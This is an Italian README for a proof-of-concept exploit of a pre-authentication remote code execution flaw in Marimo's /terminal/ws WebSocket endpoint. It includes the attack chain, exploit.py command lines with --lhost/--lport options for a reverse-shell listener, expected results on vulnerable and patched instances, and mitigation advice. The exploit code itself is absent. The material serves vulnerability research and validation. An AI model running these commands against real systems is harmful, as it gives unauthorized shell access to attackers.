
Proof-of-concept exploit per CVE-2026-39987, una RCE pre-autenticazione nell'endpoint WebSocket del terminale di Marimo. Dimostra l'esecuzione di comandi non autenticata e include test di validazione per istanze vulnerabili e corrette.
| Proprietà | Valore |
|---|
| CVE | CVE-2026-39987 |
| Prodotto | Marimo |
| Vulnerabilità | Esecuzione Remota di Codice Pre-Autenticazione |
| Vettore d'Attacco | Rete |
| Autenticazione | Non richiesta |
| Interazione Utente | Non richiesta |
| CWE | CWE-306 — Autenticazione Mancante per Funzione Critica |
| Gravità | Critica |
| Versione Corretta | 0.23.0 |
CVE-2026-39987 è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) pre-autenticazione che colpisce Marimo, un ambiente notebook Python reattivo. La vulnerabilità si trova nell'endpoint WebSocket del terminale /terminal/ws.
L'endpoint vulnerabile del terminale crea una PTY interattiva dopo aver accettato una connessione WebSocket.
Concettualmente, il flusso di richiesta vulnerabile è:
Client Remoto
|
| Connessione WebSocket
v
/terminal/ws
|
| Validazione autenticazione mancante
v
WebSocket accettata
|
v
PTY creata
|
v
Shell interattiva
Il confine di sicurezza importante è il controllo di autenticazione mancante.
Un endpoint che espone l'esecuzione arbitraria di comandi non deve consentire a un client non autenticato di raggiungere la logica di creazione della PTY.
Lo scopo di questo progetto è dimostrare, in un ambiente controllato, la mancata applicazione dell'autenticazione che interessa l'endpoint WebSocket del terminale di Marimo.
I team di sicurezza possono utilizzare il progetto per:
Avvertenza: Eseguire il PoC solo contro sistemi di cui si è proprietari o per cui si dispone di autorizzazione esplicita al test.
La catena completa della vulnerabilità può essere riassunta come segue:
1. L'attaccante scopre un'istanza Marimo esposta
|
v
2. L'attaccante si connette a /terminal/ws
|
v
3. L'autenticazione non viene applicata
|
v
4. La connessione WebSocket viene accettata
|
v
5. Viene creata una PTY terminale
|
v
6. L'attaccante ottiene l'esecuzione di comandi
|
v
7. I comandi vengono eseguiti come processo Marimo
Il guasto critico di sicurezza si verifica al punto 3.
Python 3.7+
pip
Accesso di rete al target autorizzato
# Installazione di base
pip install websocket-client
# Installazione completa
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <URL_TARGET> --lhost <IP_LOCALE> --lport <PORTA>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| Parametro | Tipo | Descrizione | Predefinito |
|---|---|---|---|
-u, --url | string | URL di base dell'istanza Marimo target | Obbligatorio |
--lhost | string | Indirizzo IP del listener | Obbligatorio |
--lport | int | Porta del listener (1-65535) | Obbligatorio |
--timeout | int | Timeout del listener in secondi | 15 |
--retries | int | Tentativi di connessione WebSocket | 3 |
--retry-delay | float | Ritardo tra i tentativi | 2.0 |
--no-verify-ssl | flag | Disabilita la verifica del certificato SSL | False |
-v, --verbose | flag | Abilita output dettagliato | False |
-s, --silent | flag | Sopprime l'output | False |
Fase 1: Inizializzazione
↓ Valida i parametri
↓ Configura la registrazione
Fase 2: Preparazione
↓ Inizializza il listener
↓ Stabilisce la connessione WebSocket
Fase 3: Validazione
↓ Testa l'endpoint del terminale
↓ Verifica l'applicazione dell'autenticazione
↓ Registra il comportamento della connessione
Fase 4: Dimostrazione
↓ Stabilisce una sessione di test autorizzata
↓ Verifica il contesto di esecuzione dei comandi
↓ Raccoglie le prove di validazione
Fase 5: Pulizia
↓ Ripristina lo stato del terminale
↓ Chiude le connessioni
↓ Rilascia le risorse
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
Risultato Atteso: L'endpoint vulnerabile del terminale accetta la connessione non autenticata.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
Risultato Atteso: La connessione viene rifiutata o comunque impedita dai controlli di autenticazione.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
Risultato Atteso: Il timeout viene segnalato correttamente.
Gravità: Critica (CVSS 9.3)
Complessità: Bassa
Autenticazione: Nessuna richiesta
Impatto: Esecuzione Remota di Codice
Protocollo: WebSocket
Endpoint: /terminal/ws
Versione Corretta: 0.23.0
Il README sorgente classifica il problema come CVSS 9.3 Critico e identifica CWE-306, WebSocket come protocollo e /terminal/ws come endpoint interessato.
I potenziali indicatori di sfruttamento includono connessioni WebSocket inattese verso:
/terminal/ws
I difensori dovrebbero indagare su:
Aggiornare Marimo a una versione corretta:
0.23.0 o successiva
Ulteriori raccomandazioni difensive includono:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Gravità: Critica
Tipo: RCE Pre-Autenticazione
Protocollo: WebSocket
Endpoint: /terminal/ws
Auth: Nessuna richiesta
Corretta: 0.23.0
SOLO USO AUTORIZZATO
Questo progetto è fornito esclusivamente per:
L'uso non autorizzato è severamente vietato e può violare le leggi locali e internazionali applicabili.
Questo progetto è fornito per ricerca sulla sicurezza, validazione di vulnerabilità e scopi educativi.
Non utilizzare il PoC contro sistemi di cui non si è proprietari o per cui non si dispone di autorizzazione esplicita al test.
I manutentori non sono responsabili per uso improprio, test non autorizzati, danni, perdita di dati o qualsiasi conseguenza derivante dall'uso di questo progetto.